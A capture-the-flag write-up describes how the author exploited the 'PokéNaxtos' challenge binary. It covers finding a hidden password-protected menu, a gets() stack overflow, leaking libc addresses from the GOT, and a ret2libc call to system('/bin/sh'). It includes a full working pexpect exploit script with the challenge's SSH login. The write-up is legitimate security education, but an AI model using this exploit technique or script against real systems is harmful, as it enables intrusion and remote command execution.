PokéNaxtos - Writeup by palkeo
Challenge
We have an exploitable binary.
We also have a SSH server that we can connect to, but it doesn't give us a shell, just an interface to that binary.
However, we also have some information when we connect to it :
Ubuntu 14.04.3 LTS Password: Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 3.13.0-74-generic x86_64) * Documentation: https://help.ubuntu.com/ System information as of Fri Apr 8 21:49:11 UTC 2016 System load: 0.11 Processes: 105 Usage of /: 14.1% of 7.74GB Users logged in: 2 Memory usage: 11% IP address for eth0: 172.31.14.146 Swap usage: 0% Graph this data and manage this system at: https://landscape.canonical.com/ Get cloud support with Ubuntu Advantage Cloud Guest: http://www.ubuntu.com/business/services/cloud 68 packages can be updated. 41 updates are security updates. Last login: Fri Apr 8 21:48:39 2016 from ip-172-31-13-71.eu-west-1.compute.internal ____________Pokématos_________ | 1) Consulter la map | | 2) Consulter les pokémons | | 3) Apeller Maman | _______________________________
Solving
Discovery
After some time, it is clear that we can't do much, and we have to exploit the program.
It gives us a small menu, with three choices. All are basically doing a printf()
and nothing else.
When disassembling the main()
, we have an interesting part:
It's basically a switch over our three choices. Plus another hidden choice when we enter the number 41.
When we enter that number, we are asked another password:
No obfuscation whatsoever. The password is pik4_p455.
When we enter it, we are asked again for a "cheat code". It is read, then nothing happens and we are back to the main menu :
____________Pokématos_________ | 1) Consulter la map | | 2) Consulter les pokémons | | 3) Apeller Maman | _______________________________ 41 41____________ Cheat ___________ | | | Enter password : | pik4_p455 _______________________________ Ooooh Secret Place !Enter cheat code :hello Cheat Activated ! ____________Pokématos_________ | 1) Consulter la map | | 2) Consulter les pokémons | | 3) Apeller Maman | _______________________________
Here is the function, named secret_place()
, that do that:
We can see it's doing a gets()
, reading value of arbitrary length to the stack.
We try to enter a long cheat code ('A'*255), and it crashes.
We now know we will have to exploit:
- a stack overflow
- without 0x0a byte inside our payload
- the location of the executable is constant in memory (it is not a PIE)
- the location of the libraries is likely to change because of the ASLR
- we can't execute the stack (NX bit set)
Let's craft !
I then started frantically searching for gadgets in the executable. It took me some time to take a step back and realize that:
- because the only functions that are imported are IO functions (gets, puts…), and the code doesn't do any system call, I have no way to interact with the OS using the program's code.
- however, I can easily craft a stack to call gets and puts with arbitrary arguments. I can easily read and write anywhere in memory.
So, because the libc is present in memory, I'm now pretty sure that I would need to call some code that's inside of it. But I don't know its address.
To solve that, I can read the GOT (global offset table), that contains the address of the IO functions from the libc. I can easily see that it starts at offset 0x804A00C
, so I can call puts with that address as a parameter and it will dump the addresses of the imported functions in the libc.
If I manage to find which exact libc binary they use, I will be able to calculate the difference between these known functions and interesting ones like system()
: then I can craft a payload that can call such a function.
I am now able to make a payload that leaks addresses of functions inside the libc. I can even chain that call to puts with a call to main, so that the program won't even crash, and I would be able to use that information to craft a second payload calling any function in the libc :)
At that point, I should have taken yet another step back, and leaked the GOT multiple times. I would have seen that the addresses of the functions in the libc is always the same, so in the end there is no ASLR. However, I have not noticed that so I my exploit always leak these addresses first, so it will work fine even with ASLR.
I have nearly all I need. I also need the address of a "/bin/sh" string, but there is one in libc, so I can use the same trick to calculate its exact address.
Hunting libc
One last thing I needed was to find the libc binary used in the virtual machine.
Because the machine says it is in 64 bits and the binary is 32 bits, I know it is in the libc-i386
Ubuntu package, and I know the Ubuntu version.
But still, there are multiple possible versions because of the security updates.
I crafted a payload that would do a puts()
of the address of the /bin/sh
string in the libc (the difference between that string and a function like puts being calculated using my reference libc).
This page references the package for the right Ubuntu's version, so I could see the history of versions for that package. We can see that there was an update in early 2015 and another in early 2016.
I took as my reference libc the one from 2015 (the system seemed unmaintained), executed my payload, and got garbage.
I tried again with the libc from 2016, and it worked : I got /bin/sh
in stdout !
Which means that I was able to calculate the address for anything I want in the target's libc \o/
Final exploit
import pexpect import struct import sys def escape(msg): return b''.join(bytes([0x16, c]) for c in msg) prod = True if prod: child = pexpect.spawn('ssh sthack@pokenaxtos.sthack.fr', timeout=None) else: child = pexpect.spawn('./binary', timeout=None) if prod: child.expect('Password:') child.sendline('sthack') def menu(): child.sendline('41') child.sendline('pik4_p455') child.expect('.*cheat code :') menu() buf = b'A'*112 buf += struct.pack('I', 0x8048490) # puts() address buf += struct.pack('I', 0x08048739) # main() address buf += struct.pack('I', 0x0804A00C) # argument for puts: address of the GOT buf += b'B'*32 child.sendline(escape(buf)) child.expect('Cheat Activated !\r\n(.+)\r\n') addr = child.match.group(1) addresses = struct.unpack('I'*10, addr[:40]) print(' '.join(hex(i) for i in addresses)) fflush = addresses[2] # Addresses of some interesting function/data in the target's libc ref_fflush = 0x62e30 ref_system = 0x3Fcd0 ref_bin_sh = 0x15da84 # From that, we calculate the addresses of system and '/bin/sh' in the target's memory system = ref_system + (fflush - ref_fflush) bin_sh = ref_bin_sh + (fflush - ref_fflush) print('set system at %s' % hex(system)) print('set /bin/sh at %s' % hex(bin_sh)) menu() buf = b'A'*(112) buf += struct.pack('I', system) buf += b'C'*4 # second return address: we don't care. buf += struct.pack('I', bin_sh) # argument of system buf += b'B'*32 print(buf) child.sendline(escape(buf)) child.interact()
Bonus
I also had some fun creating a way to call system with any arbitrary string.
To do that, you just need to find a segment in the target libc that is readable and writable (it contains global variables, I suppose).
Then, you just call gets()
with the calculated address of that segment. You just loaded an arbitrary string to a known address !
You can now reuse it as a system()
argement, and directly execute arbitrary commands :)
Author
Korantin Auguste (Palkeo) 2016/04/09 16:30